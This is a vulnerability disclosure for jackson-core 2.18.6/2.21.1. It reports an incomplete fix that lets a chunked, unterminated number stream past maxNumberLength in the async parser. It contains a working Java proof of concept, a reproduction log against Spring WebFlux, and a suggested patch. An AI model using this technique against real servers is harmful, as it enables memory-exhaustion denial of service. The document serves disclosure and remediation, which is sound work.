Vulnerability details

## Summary The fix released in jackson-core `2.18.6` and `2.21.1` for [GHSA-72hv-8253-57qq](https://github.com/FasterXML/jackson-core/security/advisories/GHSA-72hv-8253-57qq) (Number Length Constraint Bypass in Async Parser, published 2026-02-28) is incomplete. The fix commit `b0c428e6` (#1555) wired `validateIntegerLength` into a new `_setIntLength` helper and called it at every place where the integer portion of a number is *decided* (terminator byte arrived, `.` / `e/E` seen, end-of-feed inside a fully-buffered value). It did not call it on the much more attacker-relevant path: "ran out of input while still inside `MINOR_NUMBER_INTEGER_DIGITS`, return `NOT_AVAILABLE` to caller". As a result, an attacker who streams JSON to a non-blocking parser in many small chunks, without ever sending a terminator byte, can keep the parser inside `MINOR_NUMBER_INTEGER_DIGITS` indefinitely. `_textBuffer.expandCurrentSegment()` grows on every chunk, and `validateIntegerLength` is never invoked. The accumulator is only gated by `maxStringLength` (20 MiB default) — a **~20,000x amplification** of the documented `maxNumberLength` (1000 default). This is the same vulnerability class, same advisory wording ("Memory Exhaustion: Unbounded allocation in TextBuffer from excessively long numbers"), same parser class — just the streaming path the original fix didn't cover. The fix to the *fraction* path is correct (see `_finishFloatFraction` at line 1834-1837 of `NonBlockingUtf8JsonParserBase.java` in 2.18.6, where `_setFractLength(fractLen)` IS called before the `NOT_AVAILABLE` return); the equivalent call is missing from every integer-digit path. ## Affected versions Verified on the patched releases: - `com.fasterxml.jackson.core:jackson-core` **2.18.6** - `com.fasterxml.jackson.core:jackson-core` **2.21.1** Structurally identical code in `tools.jackson.core` 3.0.x / 3.1.x — same `NonBlockingUtf8JsonParserBase` class, same `_setIntLength` rollout, same NOT_AVAILABLE returns without validation. Not retested but presumed vulnerable. ## Affected code [`src/main/java/com/fasterxml/jackson/core/json/async/NonBlockingUtf8JsonParserBase.java`](https://github.com/FasterXML/jackson-core/blob/b0c428e6/src/main/java/com/fasterxml/jackson/core/json/async/NonBlockingUtf8JsonParserBase.java) in 2.18.6 / 2.21.1. ### Site 1 — `_startPositiveNumber(int ch)` lines 1320-1330: ```java if (outPtr >= outBuf.length) { // NOTE: must expand to ensure contents all in a single buffer (to keep // other parts of parsing simpler) outBuf = _textBuffer.expandCurrentSegment(); } outBuf[outPtr++] = (char) ch; if (++_inputPtr >= _inputEnd) { _minorState = MINOR_NUMBER_INTEGER_DIGITS; _textBuffer.setCurrentLength(outPtr); return _updateTokenToNA(); // <-- no validateIntegerLength(outPtr) } ``` ### Site 2 — `_finishNumberIntegralPart` lines 1691-1727: ```java protected JsonToken _finishNumberIntegralPart(char[] outBuf, int outPtr) throws IOException { int negMod = _numberNegative ? -1 : 0; while (true) { if (_inputPtr >= _inputEnd) { _minorState = MINOR_NUMBER_INTEGER_DIGITS; _textBuffer.setCurrentLength(outPtr); return _updateTokenToNA(); // <-- no validateIntegerLength(outPtr + negMod) } int ch = getByteFromBuffer(_inputPtr) & 0xFF; if (ch < INT_0) { if (ch == INT_PERIOD) { _setIntLength(outPtr+negMod); // <-- validated here ++_inputPtr; return _startFloat(outBuf, outPtr, ch); } break; } if (ch > INT_9) { if ((ch | 0x20) == INT_e) { _setIntLength(outPtr+negMod); // <-- validated here ++_inputPtr; return _startFloat(outBuf, outPtr, ch); } break; } ++_inputPtr; if (outPtr >= outBuf.length) { outBuf = _textBuffer.expandCurrentSegment(); } outBuf[outPtr++] = (char) ch; } _setIntLength(outPtr+negMod); // <-- validated here _textBuffer.setCurrentLength(outPtr); return _valueComplete(JsonToken.VALUE_NUMBER_INT); } ``` The pattern recurs at lines 1297, 1329, 1343, 1365, 1395, 1409, 1437, 1467, 1481, 1586, 1644, 1698 — every "ran out of input mid-integer" exit returns to the caller without validating the accumulator length. ### Compare with the fraction path that is correct `_finishFloatFraction` lines 1827-1838: ```java while (loop) { if (ch >= INT_0 && ch <= INT_9) { ++fractLen; if (outPtr >= outBuf.length) { outBuf = _textBuffer.expandCurrentSegment(); } outBuf[outPtr++] = (char) ch; if (_inputPtr >= _inputEnd) { _textBuffer.setCurrentLength(outPtr); _setFractLength(fractLen); // <-- VALIDATED return JsonToken.NOT_AVAILABLE; } ch = getNextSignedByteFromBuffer(); } ... } ``` ## Impact Reactive frameworks (Spring WebFlux / Reactor, Quarkus, Helidon, Vert.x JSON, anything wrapping `JsonFactory.createNonBlockingByteArrayParser()` or `createNonBlockingByteBufferParser()`) feed inbound HTTP/gRPC bytes to the async parser as they arrive. Operators who set `StreamReadConstraints.builder().maxNumberLength(N)` on the assumption that this caps memory per number value are not getting that guarantee in chunked-feed scenarios. The parser silently accumulates digits up to `maxStringLength` (20 MiB default) per concurrent connection. Multiply by attacker-controlled concurrency to OOM the JVM. The synchronous parsers (`UTF8StreamJsonParser`, `ReaderBasedJsonParser`) and the async parser on *complete* input are not affected — those paths go through `_setIntLength` or `ParserBase._reportTooLongIntegral` correctly. CWE-770 (Allocation of Resources Without Limits or Throttling), CVSS roughly the same as the parent advisory (Network / Low complexity / High availability impact). The parent advisory was scored CVSS 8.7 High. ## Proof of concept Standalone PoC, no Maven required: ``` mkdir poc && cd poc curl -sLo jackson-core-2.18.6.jar https://repo1.maven.org/maven2/com/fasterxml/jackson/core/jackson-core/2.18.6/jackson-core-2.18.6.jar cat > PoC.java <<'EOF' import com.fasterxml.jackson.core.*; import com.fasterxml.jackson.core.async.ByteArrayFeeder; public class PoC { public static void main(String[] args) throws Exception { StreamReadConstraints strict = StreamReadConstraints.builder() .maxNumberLength(1000) .build(); JsonFactory f = new JsonFactoryBuilder() .streamReadConstraints(strict) .build(); // Sanity: synchronous parser rejects 5000-digit int. try (JsonParser p = f.createParser("{\"v\":" + "1".repeat(5000) + "}")) { while (p.nextToken() != null) { /* drive */ } System.out.println("[-] BUG ABSENT: sync parser accepted"); return; } catch (Exception e) { System.out.println("[+] sync parser rejected 5000-digit int: " + e.getClass().getSimpleName()); } // Bug: async parser, chunked, no terminator. JsonParser ap = f.createNonBlockingByteArrayParser(); ByteArrayFeeder feeder = (ByteArrayFeeder) ap; byte[] preamble = "{\"v\":".getBytes("UTF-8"); feeder.feedInput(preamble, 0, preamble.length); while (ap.nextToken() != JsonToken.NOT_AVAILABLE) { /* drain */ } byte[] digits = new byte[16 * 1024]; for (int i = 0; i < digits.length; i++) digits[i] = (byte) ('1' + (i % 9)); for (int c = 0; c < 600; c++) { feeder.feedInput(digits, 0, digits.length); JsonToken t = ap.nextToken(); if (t != JsonToken.NOT_AVAILABLE) { System.out.println("[-] unexpected token: " + t); return; } } System.out.println("[+] BUG PRESENT: async parser accepted ~9.83 MB of digits with maxNumberLength=1000"); // Closing the number now finally triggers the validator. feeder.feedInput("}".getBytes("UTF-8"), 0, 1); feeder.endOfInput(); try { while (ap.nextToken() != null) { /* drive */ } } catch (Exception e) { System.out.println("[*] late rejection on close: " + e.getMessage().split("\n")[0]); } ap.close(); } } EOF javac -cp jackson-core-2.18.6.jar PoC.java java -Xmx256m -cp jackson-core-2.18.6.jar:. PoC ``` Observed output against `jackson-core-2.18.6`: ``` [+] sync parser rejected 5000-digit int: StreamConstraintsException [+] BUG PRESENT: async parser accepted ~9.83 MB of digits with maxNumberLength=1000 [*] late rejection on close: Number value length (9830400) exceeds the maximum allowed (1000, from `StreamReadConstraints.getMaxNumberLength()`) ``` Observed output against `jackson-core-2.21.1`: identical. The 9.83 MB figure is purely a function of the loop bound (600 chunks * 16 KiB). The actual ceiling is `maxStringLength = 20 MiB`. With the strict policy declared as `maxNumberLength = 1000`, the parser permits **9830x** more allocation than the policy allows. With `maxStringLength` left at the default 20 MiB, an attacker can drive a single connection to 40 MiB of `char[]` heap (chars are 2 bytes each) before the validator finally fires on terminator/`endOfInput()`. Multiply by concurrent connections. ## End-to-end reproduction through real HTTP Supplements the standalone PoC with a running Spring Boot WebFlux server, driving the same bug through the actual reactor-netty + Jackson2JsonDecoder streaming-decode path that production reactive endpoints use. Setup: - Spring Boot 3.3.5 starter-webflux (spring-webflux 6.1.14, reactor-netty 1.1.23) - jackson-databind 2.17.2, jackson-core overridden: - VULN run: `com.fasterxml.jackson.core:jackson-core:2.18.7` (latest published) - PATCHED run: `2.18.8-SNAPSHOT` built from the fix branch - JVM: OpenJDK 17.0.18 - Server `JsonFactory` configured with `StreamReadConstraints.builder().maxNumberLength(1000).build()` Endpoint under test exposes the `Flux<DataBuffer>` request body directly to `Jackson2JsonDecoder.decode(Flux, ResolvableType, ...)` so the parser sees one HTTP chunk per `feedInput` (the same pattern used for any `@RequestBody Flux<...>` / streaming JSON decoder in WebFlux). A raw-socket HTTP/1.1 chunked client streams `{"v":1` then 250 chunks of 200 digit bytes each (50,000 digits total) at 20ms intervals, then writes the closing `}`. VULN — jackson-core 2.18.7: ``` [VULN-SMALLCHUNK] streamed 50000 digits across 250 chunks; server still accepting [VULN-SMALLCHUNK] full POST sent (50000 digits). Response: HTTP/1.1 200 OK ERR after 6548ms cause=com.fasterxml.jackson.core.exc.StreamConstraintsException: Number value length (50000) exceeds the maximum allowed (1000, ...) ``` Server-side controller trace (250 DataBuffer arrivals elided): ``` [ctrl] DataBuffer arrived size=6 ms=39 <- '{"v":1' [ctrl] DataBuffer arrived size=200 ms=42 ... [ctrl] DataBuffer arrived size=199 ms=5993 [ctrl] DataBuffer arrived size=1 ms=6518 <- closing '}' [ctrl] ERR after 6548ms ... Number value length (50000) exceeds ... ``` Server held all 50,000 digit characters in `_textBuffer` for 6.5 seconds with `maxNumberLength=1000` declared. The validator never fires during streaming; it only fires at value-completion when the closing `}` arrives. PATCHED — jackson-core 2.18.8-SNAPSHOT (fix branch): ``` [PATCHED-SMALLCHUNK] connection broke after 2801 digits at chunk 14: [Errno 32] Broken pipe [PATCHED-SMALLCHUNK] DONE: digits_sent=2801 status=connection-broke-mid-stream ``` Server-side controller trace: ``` [ctrl] DataBuffer arrived size=6 ms=129 [ctrl] DataBuffer arrived size=200 ms=142 [ctrl] DataBuffer arrived size=200 ms=142 [ctrl] DataBuffer arrived size=200 ms=145 [ctrl] DataBuffer arrived size=200 ms=146 [ctrl] DataBuffer arrived size=200 ms=147 [ctrl] ERR after 155ms ... Number value length (1001) exceeds the maximum allowed (1000, ...) ``` Patched server raises `StreamConstraintsException` at 155ms after only 5 DataBuffers, exactly when the accumulated digit count crosses `maxNumberLength=1000`. The connection is reset mid-stream rather than the parser silently consuming the rest of the attacker's payload. Side-by-side: | Build | Chunks accepted before exception | Digits buffered | Time to detection | |---|---|---|---| | jackson-core 2.18.7 | 250 (full payload) | 50,000 (50x the configured limit) | 6,548ms — only at terminator | | 2.18.8-SNAPSHOT (fix branch) | 5 | 1,001 | 155ms — moment threshold crossed | Note on the default `@RequestBody Mono<JsonNode>` path: that path cannot distinguish the two builds because Spring's `decodeToMono` joins all DataBuffers into one before parsing. The exploitable shape is the streaming-decode path (`Flux<JsonNode>` / `@RequestBody Flux<...>` / WebSocket / SSE / any direct `decoder.decode(Flux<DataBuffer>, ...)` call), which is also what `Jackson2Tokenizer` uses for any streaming JSON deserialization in WebFlux and Quarkus reactive REST. ## Suggested fix Mirror the pattern already used in `_finishFloatFraction`. At every site that returns `_updateTokenToNA()` (or `JsonToken.NOT_AVAILABLE`) with `_minorState = MINOR_NUMBER_INTEGER_DIGITS`, call `_setIntLength(outPtr + negMod)` first. Concretely, the diff to `NonBlockingUtf8JsonParserBase.java` would be: ```diff protected JsonToken _finishNumberIntegralPart(char[] outBuf, int outPtr) throws IOException { int negMod = _numberNegative ? -1 : 0; while (true) { if (_inputPtr >= _inputEnd) { _minorState = MINOR_NUMBER_INTEGER_DIGITS; _textBuffer.setCurrentLength(outPtr); + _streamReadConstraints.validateIntegerLength(outPtr + negMod); return _updateTokenToNA(); } ``` Note: `_setIntLength` itself can't be used as-is because it also assigns `_intLength`, and `_intLength` must not be set until the integer is truly complete (subsequent fraction handling reads `_intLength`). The minimal fix is to call only the validator, as shown. Apply the same one-line insertion before each `return _updateTokenToNA();` that exits with `_minorState = MINOR_NUMBER_INTEGER_DIGITS`. The sites are listed above (12 lines total). Alternatively, a heavier refactor: also gate `_textBuffer.expandCurrentSegment()` calls inside the digit-accumulation loops on `outPtr < maxNumberLength` so that the validator fires at the moment the buffer would be enlarged past the limit, rather than waiting for the next chunk boundary. Either approach is sufficient. ## Credit Reported by `tonghuaroot` (`tonghuaroot@gmail.com`). Variant hunt against the Feb 2026 fix for GHSA-72hv-8253-57qq.